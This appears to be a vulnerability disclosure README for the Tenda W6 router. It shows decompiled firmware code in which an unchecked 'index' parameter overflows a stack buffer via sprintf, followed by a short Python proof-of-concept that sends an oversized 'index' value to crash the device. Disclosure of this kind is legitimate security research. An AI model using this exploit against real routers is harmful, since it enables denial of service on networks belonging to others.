ilovekeer Add files via upload ... on Jul 8 History

..	
pic	5 months ago
video	5 months ago
README.md	5 months ago
README_cn.md	5 months ago

README.md

Tenda W6 Stack Overflow Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Shenzhen Tenda Technology (Tenda) in China.

A stack overflow vulnerability exists in /goform/WifiMacFilterSet in Tenda W6 V1.0.0.9(4122) version, which can be exploited by attackers to cause a denial of service (DoS) via the index parameter.

Firmware Download Address：https://www.tenda.com.cn/download/detail-2576.html

Vulnerability Location

/goform/WifiMacFilterSet

formWifiMacFilterSet() Function

```
int v12[8]; // [sp+2Ch] [+2Ch] BYREF
char v13[100]; // [sp+4Ch] [+4Ch] BYREF
char v14[64]; // [sp+B0h] [+B0h] BYREF
int v15[4]; // [sp+F0h] [+F0h] BYREF

Var = (const char *)websGetVar(a1, (int)"GO", (int)"wireless_filter.asp");
v10 = (char *)websGetVar(a1, (int)"index", (int)"0");
v9 = (char *)websGetVar(a1, (int)"filterMode", (int)"disabled");
v8 = (const char *)websGetVar(a1, (int)"maclist", (int)&unk_48000C);
nptr = (char *)websGetVar(a1, (int)"wl_radio", (int)"0");
memset(v12, 0, sizeof(v12));
memset(v13, 0, sizeof(v13));
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
if ( !strcmp(nptr, "0") )
{
  strcmp(v10, "0");
  sprintf((char *)v12, "wl2g.ssid%s.", v10);
}
else if ( !strcmp(nptr, "1") )
{
  strcmp(v10, "0");
  sprintf((char *)v12, "wl5g.ssid%s.", v10);
}
if ( !strcmp(v9, "disabled") )
{
```

v12 stack overflow

Exp

```
import requests
from pwn import *

burp0_url = "http://192.168.5.1/goform/WifiMacFilterSet"
burp0_headers = {"Host":"192.168.5.1",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, l
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.5.1",
"Referer":"http://192.168.5.1/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data1="index="+'a'*0x300
```

```
requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)
```

Please see the video for the demonstration